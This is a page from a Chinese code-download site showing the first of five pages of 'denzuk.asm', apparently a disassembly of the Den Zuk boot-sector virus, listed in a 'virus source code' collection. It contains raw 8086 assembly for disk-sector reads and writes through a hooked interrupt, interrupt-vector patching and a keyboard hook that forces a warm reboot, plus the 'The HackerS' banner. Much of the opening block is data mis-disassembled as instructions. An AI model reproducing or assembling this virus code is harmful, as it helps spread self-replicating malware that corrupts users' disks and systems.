⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 denzuk.asm

📁 一些病毒源代码
💻 ASM
📖 第 1 页 / 共 5 页
字号:
		mov	al,ds:data_0033e
		or	ch,[bp+si-5556h]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0161e
		test	al,0
		add	[bx+si],al
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bp+si],al
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		sub	ch,[bp+si+0]
		nop				;*ASM fixup - displacement
		nop				;*ASM fixup - sign extn byte
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		stosb				; Store al to es:[di]
		test	al,0
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si+0A8h],ch
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		sub	ch,[bp+si+0A0h]
		add	[bx+si],al
		or	ch,[bp+si+80h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		sub	ch,[bp+si+0]
		nop				;*ASM fixup - displacement
		nop				;*ASM fixup - sign extn byte
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,byte ptr data_0041+40h	; (' ')
		stosb				; Store al to es:[di]
		mov	al,byte ptr data_0041+40h	; (' ')
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si+0A8h],ch
		add	[bx+si],al
		sub	ch,[bp+si+0A0h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		sub	ch,[bp+si-7F56h]
		add	[bx+si],al
		or	ch,[bp+si+80h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		sub	ch,[bp+si+0]
		nop				;*ASM fixup - displacement
		nop				;*ASM fixup - sign extn byte
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		sub	al,[bx+si+0]
		nop				;*ASM fixup - displacement
		nop				;*ASM fixup - sign extn byte
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		add	ch,[bp+si+0A8h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si-5556h],ch
		add	[bx+si],al
		or	ch,[bp+si+80h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		or	ch,[bp+si+0A8h]
		add	[bx+si],al
		sub	ch,[bp+si+0]
		nop				;*ASM fixup - displacement
		nop				;*ASM fixup - sign extn byte
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0179e
		or	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		add	[bp+si+0AAh],ch
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		test	al,0
		or	ch,[bp+si+80h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,byte ptr ds:[0A00Ah]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	dh,dh
		and	bp,[bx+si]
		add	[bx+si],al
		push	ax
		push	bx
		push	cx
		push	dx
		cmp	data_0045,1
		jne	loc_0021		; Jump if not equal
		cmp	data_0044,0
		je	loc_0022		; Jump if equal
loc_0021:
		xor	ah,ah			; Zero register
		int	6Fh			; ??int non-standard interrupt
		jc	loc_0022		; Jump if carry Set
		mov	dh,data_0044
		mov	dl,byte ptr cs:[529h]
		mov	cx,data_0045
		mov	bx,200h
		mov	ax,201h
		int	6Fh			; ??int non-standard interrupt
loc_0022:
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
sub_0003	endp

		db	 50h, 53h, 51h, 52h, 32h
		dw	0CDE4h			; Data table (indexed access)
		db	6Fh
		dw	1272h			; Data table (indexed access)
		db	 32h,0F6h, 2Eh, 8Ah, 16h, 29h
		db	 05h,0B9h, 21h, 28h,0BBh, 00h
		db	 02h,0B8h, 01h, 02h,0CDh, 6Fh
		db	 5Ah, 59h, 5Bh, 58h,0C3h, 50h
		db	 53h, 51h, 52h, 32h,0E4h,0CDh
		db	 6Fh, 72h, 1Ah, 32h,0F6h, 8Ah
		db	 16h, 29h, 05h,0B5h, 28h,0BBh
		db	 7Ch, 06h,0B8h, 09h, 05h,0CDh
		db	 6Fh, 73h, 05h,0F6h,0C4h, 82h
		db	 75h, 03h
		db	0E8h, 29h, 00h
		db	 5Ah, 59h, 5Bh, 58h,0C3h, 28h
		db	 00h, 21h, 02h, 28h, 00h, 22h
		db	 02h, 28h, 00h, 23h, 02h, 28h
		db	 00h, 24h, 02h, 28h, 00h, 25h
		db	 02h, 28h, 00h, 26h, 02h, 28h
		db	 00h, 27h, 02h, 28h, 00h, 28h
		db	 02h, 28h, 00h, 29h, 02h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0005	proc	near
		push	ax
		push	bx
		push	cx
		push	dx
		xor	ah,ah			; Zero register
		int	6Fh			; ??int non-standard interrupt
		jc	loc_0026		; Jump if carry Set
		xor	dh,dh			; Zero register
		mov	dl,byte ptr ds:[529h]
		mov	cx,2821h
		mov	bx,200h
		mov	ax,309h
		int	6Fh			; ??int non-standard interrupt
		jnc	loc_0025		; Jump if carry=0
		test	ah,82h
		jnz	loc_0026		; Jump if not zero
loc_0025:
		xor	bx,bx			; Zero register
		call	sub_0006
		cmp	cs:data_0050,3
		jb	loc_0026		; Jump if below
		call	sub_0007
loc_0026:
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
sub_0005	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0006	proc	near
		push	ax
		push	cx
		push	dx
		xor	ah,ah			; Zero register
		int	6Fh			; ??int non-standard interrupt
		jc	loc_0027		; Jump if carry Set
		xor	dh,dh			; Zero register
		mov	dl,byte ptr cs:[529h]
		mov	cx,1
		mov	ax,301h
		int	6Fh			; ??int non-standard interrupt
loc_0027:
		pop	dx
		pop	cx
		pop	ax
		retn
sub_0006	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0007	proc	near
;*		jmp	short loc_0028		;*
		db	0EBh, 10h
		nop
		pop	cx
		stc				; Set carry flag
		inc	bx
		stc				; Set carry flag
		xor	cx,di
		inc	bp
		stc				; Set carry flag
		push	dx
		stc				; Set carry flag
		push	ax
		add	[bx+si],al
		push	es
		add	[bx+si+53h],dx
		push	cx
		push	dx
		push	ds
		push	es
		push	si
		push	di
		mov	al,byte ptr ds:[529h]
		mov	byte ptr ds:[701h],al
		mov	byte ptr ds:[704h],1
		mov	byte ptr ds:[702h],0
		mov	byte ptr ds:[703h],6
loc_0029:
		mov	dh,byte ptr ds:[702h]
		mov	dl,byte ptr ds:[701h]
		xor	ch,ch			; Zero register
		mov	cl,byte ptr ds:[703h]
		lea	bx,cs:[1277h]		; Load effective addr
		mov	ax,201h
		int	6Fh			; ??int non-standard interrupt
		xor	bx,bx			; Zero register
loc_0030:
		mov	al,byte ptr ds:[1282h][bx]
		test	al,8
		jz	loc_0031		; Jump if zero
		or	byte ptr ds:[1282h][bx],9
		lea	si,ds:[6F6h]		; Load effective addr
		lea	di,[bx+1277h]		; Load effective addr
		mov	cx,0Bh
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		xor	al,al			; Zero register
		lea	di,[bx+1283h]		; Load effective addr
		mov	cx,14h
		stosb				; Store al to es:[di]
		call	sub_0008
		jmp	short loc_0035
		db	90h
loc_0031:
		add	bx,20h
		cmp	bx,200h
		jae	loc_0032		; Jump if above or =
		jmp	short loc_0030
loc_0032:
		cmp	byte ptr ds:[703h],9
		jb	loc_0033		; Jump if below
		xor	byte ptr ds:[702h],1
		mov	byte ptr ds:[703h],1
		jmp	short loc_0034
loc_0033:
		inc	byte ptr ds:[703h]
loc_0034:
		inc	byte ptr ds:[704h]
		cmp	byte ptr ds:[704h],7
		ja	loc_0035		; Jump if above
		jmp	short loc_0029
loc_0035:
		pop	di
		pop	si
		pop	es
		pop	ds
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
sub_0007	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0008	proc	near
		push	ax
		push	bx
		push	cx
		push	dx
		xor	ah,ah			; Zero register
		int	6Fh			; ??int non-standard interrupt
		jc	loc_0036		; Jump if carry Set
		mov	dh,byte ptr ds:[702h]
		mov	dl,byte ptr ds:[701h]
		xor	ch,ch			; Zero register
		mov	cl,byte ptr ds:[703h]
		lea	bx,cs:[1277h]		; Load effective addr
		mov	ax,301h
		int	6Fh			; ??int non-standard interrupt
loc_0036:
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
sub_0008	endp

		db	0E9h, 0Bh
		db	0Ah, 'The HackerS'
		db	 00h, 00h, 00h, 00h,0AAh,0A8h
		db	 00h,0AAh,0A0h, 00h, 00h, 00h
		db	 00h, 0Ah,0AAh,0AAh,0AAh,0AAh
		db	0AAh,0A0h, 00h, 20h, 00h, 00h
		db	 00h, 00h, 00h, 0Ah,0AAh, 80h
		db	 00h, 00h, 00h, 02h
		db	7 dup (0AAh)
		db	0A8h, 00h, 2Ah,0AAh, 00h, 00h
		db	0F6h, 22h, 28h, 00h, 00h,0EBh
		db	 66h, 90h, 21h, 00h, 02h, 87h
		db	0E9h, 00h,0F0h, 91h, 08h, 00h
		db	0C8h, 00h, 00h
		db	' Welcome to the'
		db	'     C l u b     --The HackerS--'
		db	'     Hackin', 27h, '       All T'
		db	'he Time  '
		db	 00h, 00h,0FFh,0FFh, 00h, 7Ch
		db	 00h
		db	 00h, 9Ch, 50h, 1Eh, 06h, 56h
		db	 57h, 33h,0C0h, 8Eh,0D8h, 8Eh
		db	0C0h, 2Eh,0C6h, 06h, 05h, 04h
		db	 08h,0A1h, 4Ch, 00h, 3Dh, 26h
		db	 05h, 74h, 3Fh,0FAh, 2Eh,0FFh
		db	 06h, 03h, 04h,0A1h, 4Ch, 00h
		db	0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah
		db	 04h,0A1h, 4Eh, 00h,0A3h,0BEh
		db	 01h, 2Eh,0A3h, 0Ch, 04h,0B8h
		db	 26h, 05h,0A3h, 4Ch, 00h, 8Ch
		db	0C8h,0A3h, 4Eh, 00h,0A1h, 24h
		db	 00h, 2Eh,0A3h, 06h, 04h,0A1h
		db	 26h, 00h, 2Eh,0A3h, 08h, 04h
		db	0C7h, 06h, 24h, 00h,0D9h, 04h
		db	 8Ch,0C8h,0A3h, 26h, 00h,0FBh
loc_0039:
		push	cs
		pop	ds
		mov	si,offset data_0041+40h	; (' ')
		mov	di,data_0011e
		mov	cx,200h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		pop	di
		pop	si
		pop	es
		pop	ds
		pop	ax
		popf				; Pop flags
		jmp	cs:data_0057
		sti				; Enable interrupts
		push	ax
		push	cx
		push	ds
		pushf				; Push flags
		xor	ax,ax			; Zero register
		mov	ds,ax
		in	al,60h			; port 60h, keybd scan or sw1
		test	al,80h
		jnz	loc_0042		; Jump if not zero
		mov	ah,ds:keybd_flags_1_
		test	ah,8
		jz	loc_0042		; Jump if zero
		test	ah,4
		jz	loc_0042		; Jump if zero
		cmp	al,53h			; 'S'
		jne	loc_0040		; Jump if not equal
		cmp	byte ptr ds:video_mode_,7
		je	loc_0041		; Jump if equal
		cmp	cs:data_0050,3
		jb	loc_0041		; Jump if below
;*		call	sub_0017		;*
		db	0E8h,0B7h, 02h
		jmp	short loc_0041
loc_0040:
		cmp	al,3Fh			; '?'
		jne	loc_0042		; Jump if not equal
loc_0041:
		mov	word ptr ds:warm_boot_flag_,1234h
		jmp	cs:data_0056
loc_0042:
		popf				; Pop flags
		pop	ds
		pop	cx
		pop	ax
		jmp	dword ptr cs:data_0052
;*		jmp	short loc_0044		;*
		db	0EBh, 0Ah
		add	[bx+di],al
		add	[bx+di],al
		jo	loc_0043		; Jump if overflow=1
loc_0043:

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -